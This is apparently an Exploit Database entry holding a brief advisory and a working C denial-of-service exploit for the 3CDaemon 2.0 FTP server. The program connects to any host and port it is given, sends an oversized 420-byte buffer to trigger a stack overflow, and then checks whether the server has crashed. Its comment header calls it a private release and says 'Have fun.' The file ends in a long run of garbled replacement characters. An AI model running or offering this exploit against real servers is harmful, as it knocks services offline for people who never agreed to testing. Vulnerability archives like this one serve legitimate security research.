3CDaemon 2.0 - Buffer Overflow (1)

EDB-ID:

21429


Author:

MaD SKiLL

Type:

dos


Platform:

Windows

Date:

2002-04-15


// source: https://www.securityfocus.com/bid/4638/info

3CDaemon is an FTP server developed by Dan Gill of 3Com.

Reportedly, it is possible to initiate a buffer overflow on a host running 3CDaemon.

Submitting an unusually large amount of data to the ftp server, could trigger a stack-based overflow condition. This could potentially allow for malicious users to execute arbitrary code on the server. However, sending random data could cause the application to crash. 

/* MaD SKiLL 'H'
* MsH 4 life! http://www.madskill.tk
* *Private Release*
*
* 3CDaemon 2.0 revision 10 DoS
*
* 11:12 14-4-2002: BOF flaw found by skyrim
*  1:00 15-4-2002: exploit done.
* 23:31 16-4-2002: Edited the exploit slightly, it's a better code now
*
* This program will exploit the buffer overflow vulnerability of
* 3CDaemon 2.0 FTP servers. Sending 400+ chars will make the server crash
* at any time they're send.
*
* Tested on:
* [OS]                                    [version]
*  Windows XP (5.1 - 2600)                 3CDaemon 2.0 revision 10
*
*  ###
* #####      ####                            ##
* ######    ######                         ######
* ######   ########   ########            ########      ######
* ######  ####### ### ###########          ########     #######
* ###### ######## #### ############        ########     #######
* ############### ##### ############        #######     #######
* ############## ######  ############       #######     #######
* ############## #######  ###########        ######    #######
* ############# ########  ### ########       ######  #########
*  ############ ### ####  ### #######        #################
*   ##### ###############  ##########        #################
*    ###  ######### #####  #########         ################
*    #### ######### ##### #########          ################
*     ### ######### #############            ################
*      ## #########  ######                  ######   #######
*          ### ####                          ######   #######
*                                            ######  ########
*                                            ######  ########
*    ####   ## ###### ###  ###        ###    ######  ########
*   ####### ########  ###  ####      #####    #####   #######
*   ###############   ###  ####      #####     #####  #######
*   ####### ########       ####      #####       ##     ###
*   ######  ######### #### ####      #####
*    #####   ######## #### ####       ####
*     ###### ######## #### ####   ### ####   ##
*      ########## ### #### #### ########## ######
*       ######### ### ###########################
*      ##########  ######## #####################
*    #############  ######  ########## ##########
*   ########  #####   ####  ###   ###  ###   ###
*
* I don't know if this will work on versions other then the one I tested it 
on.
* Have fun.
*
* Crew shouts go to: MsH, DFA, uDc
* Personal shouts to: mannie, primus, amok, torment, talented, warsteam, 
frodo, maxxo,
* xo|l, fearless, cybje, kell, frodo, maxxo, and everyone else.
*
* skyrim (skyrim@m4dskill.tk)
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define BOFSIZE 420

char banner(void) { printf("MaD SKiLL 'H' 3CDaemon 2.0 revision 10 
DoS\n.:[MsH]:.\n   ---\n"); }

void E(char *msg) { perror(msg); exit(1); }

main(int argc, char *argv[])
{
    static char ownage[BOFSIZE];
    int sockfd, sockfd2, n;

    struct sockaddr_in server_addr;
    struct hostent *server;

if (argc != 3) {
    fprintf(stderr,"Usage: %s hostname/ip port\n", argv[0]);
    exit(1);
   }
    banner();
    memset(ownage, 'A', BOFSIZE);
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) E("Error occured during opening socket");
    server = gethostbyname(argv[1]);
    if (server == NULL) E("Error occured during host lookup -No such 
host?-\n");

    bzero((char *) &server_addr, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    bcopy((char *)server->h_addr,
         (char *)&server_addr.sin_addr.s_addr,
         server->h_length);
    server_addr.sin_port = htons(atoi(argv[2]));
    printf("Connecting to target FTP server... ");
    if (connect(sockfd,&server_addr,sizeof(server_addr)) < 0) { E("Error 
occured during connecting\n"); }
    printf("Connected, Probing BOF... \n");
    n = write(sockfd,ownage,strlen(ownage));
    if (n < 0) { E("Error occured during writing to socket"); }
    close(sockfd);
    sockfd2=socket(AF_INET, SOCK_STREAM, 0);
    printf("Done, checking if server is dead.. \n");
    sleep(5);
    if (connect(sockfd2,&server_addr,sizeof(server_addr)) < 0) { 
printf("Couldn't establish connection: It seems like it died! =)\n"); 
exit(0); }
    printf("Server is still alive. Perhaps its not vulnerable?\n");
    return 0;
}
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������